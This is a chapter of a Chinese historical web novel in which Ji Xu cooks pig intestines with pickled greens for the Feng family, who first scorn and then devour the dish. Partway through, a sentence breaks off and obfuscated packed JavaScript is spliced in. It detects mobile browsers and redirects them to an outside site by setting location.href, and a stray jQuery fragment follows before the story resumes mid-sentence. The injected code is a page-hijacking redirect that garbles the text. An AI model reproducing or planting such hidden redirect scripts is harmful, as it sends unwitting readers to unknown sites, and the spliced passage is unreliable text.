大肠处理干净,切成片,将青红椒斜斜切好,季胥另剥了些从家里拿来的蒜。
她还发现,冯家灶屋墙根儿有一坛子味道极其酸爽的菹菜,一揭盖,那酸味便促使人分泌唾液。
吴楚这带,每逢冬月都流行腌菹菜,像蔓菁、葵菜、芥菜这些,都能拿来菹,日头好时晒蔫了,撸了绿叶留下茎杆,拌了盐盛在坛内,不忘拿石头镇严实了,半个月便发酸发咸。
冯家这样有条件的,还会拿糯米熬捣成沫子,研些胡麻汁进去,增添风味。
她用干燥筷子捞出两块,只见呈着一股好看的金钗色,不输乡市小郎卖的。
同样切了薄片来。
铁釜油热,将蒜和椒一加,酥出香味,再将大肠倒进热油里爆炒,加些菹菜,最后调了味。
过程里,锅气呛出股酸辣鲜香的味道,被风一吹,飘到屋外,极其诱人。
稻田里的男女们,都伸长脖子去嗅,满脸陶醉。
“好香……”
“又香成这样?真是怪事。”
众人面朝黄土背朝天忙碌半天了,哪能不饿,被这香味一激,各人的肚子都在唱空城计。
“富贞,你家到底在做什么?真香。”
崔思浑然忘记刚才有多臭,多令人嫌弃,这会儿恨不能多闻几下。
冯富贞这才愿意张口出实话:“应该是胥女在做豕大肠。”
季元嘲讽道:
“你家竟请胥女去庖厨?胥女她脑袋都笨笨的,才将这等污秽贱物做来吃。”
她的家底虽说在本固里只能排中等,但她模样出挑,又伶俐,眼看就要相人家,阿翁还在县里将车,不定能将她嫁到县城去,就连冯家,她也有些不放在眼里,家奴后人罢了。
因此嘀咕着,“怪不得盛昌里的都说冯家作为咱们这的富户,却上不得台面……”
鲍氏一口咬定,“我是绝不吃那大肠的,想想就难以下咽。”
冯兴霸眼里是没有污秽贱物之说的,他只知,闻着喷香,这会儿恨不能飞身回家,才不留在地里捕蚂蚱。
他追着徐媪不知问过多少遭,“大母,何时回家?我饿了。”
徐媪看眼天,已是日中时分,便做主说:“日头毒起来了,先回家用中食,歇过晌再来忙。”
冯家诸人听了,便收拾筐笼、铁镰、扁担之类的,一径家去了。
冯家灶屋,两层叠起的木案上头,摆着做好的菜馔,用陶盘盛着,有色如琥珀的红煨肉、金黄酥香的椒盐肋条、豉香与肉香结合的青椒小炒肉,并一盘菹菜炒大肠,还有刚从鬲内端出来的,一钵肉骨藕羹。
另有两盘清炒的时蔬,青翠欲滴,鲜嫩无比。
可谓荤素相宜,羹菜兼备。
日中阵阵热气,冯家就在院内的小凉亭里用中食,那处本就有蒲席垫地,又有树荫。
冯大冯二,还有冯恽,从堂内各搬来一条食案往凉亭摆放。
冯家也没有那么多规矩,并不学盛昌里的殷实富户们,分餐分桌而食。
就把食案首尾相接,一大家子按辈分从首席到末尾,席上跪坐,围案而食。
冯富贞他们小辈的,便进来灶屋端菜,嗅到那香味,连舀水洗手,都比平日潦草。
徐媪也进来了,见季胥俱将炊具清洗停妥,恢复原样,除了多出来的那些冒热气的菜,竟叫人看不出哪里动过。
她心里不禁熨贴,将早就备好的二十个钱,给到季胥,还客气道:
“胥女也留下来一道用中食。”
季胥知这是客套,毕竟冯家请的两个刈稻的佣工,也都是各归各家去用饭的,
“徐大母高情,只是家中妹妹还等我回去做饭食,不好多留了。”
徐媪心道这胥女离家三年,人情倒愈发通达,她也就不再虚留对方,将家里余下来的一块新鲜瘦肉提给她,
“我见你返回家中拿了个竹筒过来,怕是我家调料不足,教你破费了,这肉你拿着。”
徐媪并不是那等占便宜的,她好名声。
鲍氏听见,凑了前来,“母,还是将那副豕大肠给胥女罢,她手艺好,给她才不算埋没呢。”
李屠夫夜半来家中宰了两头豕,留出两副大肠,被季胥烹了一副,那横木上还挂着一副呢。
在她的认知里,那大肠,就不可能好吃。
李屠夫拉了去乡市卖,那卖的价也极其贱,不超过五个子,寻常人家情愿添几个钱,吃正儿八经的肉,会买去的,多是做给家里仆奴吃,又或是哪里的厨啬夫会做来给贱役们食用。
比起这样的贱物,瘦肉到底能留着自家做羹,鲍氏为了留下那块瘦肉,甚至违心夸了夸季胥。
说罢,就捏着鼻子,将穿着草绳的大肠提起来,生怕季胥要拿瘦肉,先一步将大肠递给她。
季胥谢过,带笑接了下来,往家中去了。
一路上,都被人捂着鼻子躲避,季元一瞧更是乐了,不怕季胥听见,在院里就朝灶屋庖厨的金氏说嘴:
“胥女在冯家得了一副豕肠,当宝贝提回家呢。”
近日农忙吃力气,金氏可是买了两斤肉来烹的,比豕肠金贵。
她使起两把铁刀,剁肉糜的声音响到外头去。
过路的乡人就知道了,“金大妇,你家羹肉呐?伙食真好……”
季元很是受用,还把烧火的季止撵了出来,自己留在灶下添柴。
平时她仗着年长,又有金氏偏心,这些零碎活儿她是不做的。
话说冯家,
冯兴霸是尝过季胥的手艺的,心心念念着,他先吃的红煨肉,入口即化,极满足。
不忘拿着椒盐肋条来啃,骨头都要细细溜一遍,嗦干净才放在一边。
冯二见状摇头,“兴霸怎么连肋都吃的这样仔细,日后叫谁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301486|167151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看见,又该觉得咱冯家寒酸。”
冯兴霸忙着嗦肋条,连话都顾不上说了,还是徐媪护犊子,见孙儿用的香,她心眼儿里爱极了,哪里会怪,
“不铺张浪费是好事,今儿又是自家人跟前,由着他敞开吃,大家也都吃。”
冯二仍是咂嘴摇头,觉得做大母的太惯孩子。
等他自己夹了一块来吃,啧,那外酥里嫩,一口接一口,不觉就把骨头嘬在了嘴里,抿那滋味。
反应过来忙的吐出来。
幸好,也没谁笑话他,都忙着吃呢。
那泽亮软烂的红煨肉,浸着肉汁,压碎在米饭里,香掉舌头。
冯二猛扒饭,一边心想,家里不缺肉吃,何至于馋成这样?再一看,一碗米饭便见了底。
立马起身去添一碗,还不忘恭敬的拿上徐媪的碗,帮她添饭。
冯大吃着这肉极软烂,做主将那盘红煨肉换在牙口不好的徐媪面前,偏偏徐媪又把它放到孙子女面前,由着他们去吃。
“大母,这个大肠滋味也好极。”
豕大肠先时无人动筷,乃是冯兴霸吃过别的,迫不及待夹了一筷大肠来尝,睁圆了眼,遂和徐媪说。
要知道,冯家属冯兴霸养的嘴巴最刁。
闻言,他阿翁冯大也夹来尝了,立马点头说好,鲜辣酸脆,尤其下饭,配着爽口的菹菜,还十分解腻。
紧接是冯富贞、徐媪、冯二,尝过都连连下筷,口中称好。
鲍氏原是打定主意情愿吃些稻饭果腹的,也好再说道说道,明日换成她四兄来庖厨。
结果他们一个赛一个吃的香,连她夫婿,冯二都忘了应诺她的,要贬斥季胥的手艺,在她旁边吃的忘乎所以,连她一个劲用胳膊杵他也没反应,甚至还朝她碗里夹了块豕大肠,
“你吃,若是不好吃,我把头给你当睡枕。”
鲍氏面犯嫌恶,可已经在碗中的,她也不好夹回去,忍着恶心小口吃进去。
那滋味一进嘴,眼睛猛一睁,悔啊,悔将那副大肠给了胥女!
那鲜辣酸香的菹菜炒大肠,极其受欢迎,率先被光盘,最后那点汤汁,还是被鲍氏浇进碗里拌饭了,连一块蒜,一片菹菜都没放过,盘子比脸还干干净净。
冯富贞也想用汤汁浇饭的,被鲍氏抢了先,不禁撇嘴,“叔母不是说绝不吃一口的吗?”
鲍氏吃的又辣又香,正畅快呢,闻言巾子擦了擦鼻头辣出的汗,也不臊,有她自己的说辞,
“地里做了半天活儿,把我累坏了,正是要吃酸辣的下饭菜。”
相较下,她对面的冯恽吃相斯文,叫人看不出饭食在他眼里是何评价,别说大肠,连那盘肋他从头到尾都没动过筷,始终视其为贱物。
不吃好,她多吃点。
鲍氏想着,饱食后还和冯二嘀咕着,“这肠贱,滋味倒是极好,胥女当真有点庖厨之道……”